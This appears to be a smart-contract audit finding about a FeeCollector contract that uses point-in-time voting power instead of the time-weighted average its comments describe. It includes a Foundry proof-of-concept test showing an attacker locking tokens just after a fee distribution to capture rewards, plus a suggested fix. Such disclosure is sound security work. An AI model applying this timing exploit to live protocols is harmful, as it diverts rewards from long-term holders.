The FeeCollector contract's fee distribution mechanism is vulnerable to manipulation through strategic token-locking. Users can observe accumulated fees and lock tokens right after a large distribution to receive an unfair share of rewards, undermining long-term holders.
* @dev Calculates pending rewards for a user using time-weighted average
* @param user Address of the user
* @return pendingAmount Amount of pending rewards
*/
function _calculatePendingRewards(address user) internal view returns (uint256) {
uint256 userVotingPower = veRAACToken.getVotingPower(user);
if (userVotingPower == 0) return 0;
uint256 totalVotingPower = veRAACToken.getTotalVotingPower();
if (totalVotingPower == 0) return 0;
uint256 share = (totalDistributed * userVotingPower) / totalVotingPower;
return share > userRewards[user] ? share - userRewards[user] : 0;
}
The NatSpec clearly indicates that the project's intent is to calculate pending rewards using a time-weighted average. In actuality, the code does not do this, but rather calculates the user's reward share using a point-in-time formula on line 13 above. This allows an attacker to wait for a large fee distribution before locking their tokens, thereby suddenly increasing their share of rewards to the detriment of long-term veRAACToken holders.
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "contracts/core/collectors/FeeCollector.sol";
import "contracts/core/tokens/veRAACToken.sol";
import "contracts/core/tokens/RAACToken.sol";
import {WadRayMath} from "contracts/libraries/math/WadRayMath.sol";
contract FeeCollectorTest is Test {
FeeCollector feeCollector;
veRAACToken veRaacToken;
RAACToken raacToken;
address owner = address(0x1);
address regularUser = address(0x2);
address attacker = address(0x3);
address treasury = address(0x4);
address repairFund = address(0x5);
uint256 constant YEAR = 365 days;
uint256 constant INITIAL_MINT = 10000 ether;
uint256 constant WAD = WadRayMath.WAD;
function setUp() public {
vm.startPrank(owner);
raacToken = new RAACToken(owner, 100, 50);
veRaacToken = new veRAACToken(address(raacToken));
feeCollector = new FeeCollector(
address(raacToken),
address(veRaacToken),
treasury,
repairFund,
owner
);
raacToken.setFeeCollector(address(feeCollector));
raacToken.manageWhitelist(address(feeCollector), true);
raacToken.manageWhitelist(address(veRaacToken), true);
raacToken.setMinter(owner);
veRaacToken.setMinter(owner);
feeCollector.grantRole(feeCollector.FEE_MANAGER_ROLE(), owner);
feeCollector.grantRole(feeCollector.DISTRIBUTOR_ROLE(), owner);
raacToken.mint(regularUser, INITIAL_MINT);
raacToken.mint(attacker, INITIAL_MINT);
raacToken.mint(owner, INITIAL_MINT);
raacToken.approve(address(feeCollector), type(uint256).max);
raacToken.approve(address(veRaacToken), type(uint256).max);
vm.stopPrank();
vm.startPrank(regularUser);
raacToken.approve(address(feeCollector), type(uint256).max);
raacToken.approve(address(veRaacToken), type(uint256).max);
vm.stopPrank();
vm.startPrank(attacker);
raacToken.approve(address(feeCollector), type(uint256).max);
raacToken.approve(address(veRaacToken), type(uint256).max);
vm.stopPrank();
}
function testFeeDistributionWithoutTimeWeighting() public {
vm.prank(regularUser);
veRaacToken.lock(10 ether, YEAR);
vm.warp(block.timestamp + YEAR / 2);
vm.startPrank(owner);
feeCollector.collectFee(1000 ether, 0);
feeCollector.distributeCollectedFees();
vm.stopPrank();
vm.prank(attacker);
veRaacToken.lock(10 ether, YEAR);
uint256 regularUsersRewards = feeCollector.claimRewards(regularUser);
uint256 attackersRewards = feeCollector.claimRewards(attacker);
console.log("regularUsersRewards", regularUsersRewards / WAD);
console.log("attackersRewards", attackersRewards / WAD);
assertGt(regularUsersRewards, attackersRewards, "Attacker has greater rewards than regular user even though they locked later!");
}
}
Implement time-weighted average balances for fee distribution, which already exists in the contract but isn't utilized. This ensures rewards are proportional to both lock amount and duration.
* @dev Processes the distribution of collected fees
* @param totalFees Total fees to distribute
* @param shares Distribution shares for different stakeholders
*/
function _processDistributions(uint256 totalFees, uint256[4] memory shares) internal {
uint256 contractBalance = raacToken.balanceOf(address(this));
if (contractBalance < totalFees) revert InsufficientBalance();
if (shares[0] > 0) {
uint256 totalVeRAACSupply = veRAACToken.getTotalVotingPower();
if (totalVeRAACSupply > 0) {
TimeWeightedAverage.createPeriod(
distributionPeriod,
block.timestamp + 1,
7 days,
shares[0],
totalVeRAACSupply
);
totalDistributed += shares[0];
} else {
shares[3] += shares[0];
}
}
if (shares[1] > 0) raacToken.burn(shares[1]);
if (shares[2] > 0) raacToken.safeTransfer(repairFund, shares[2]);
if (shares[3] > 0) raacToken.safeTransfer(treasury, shares[3]);
}
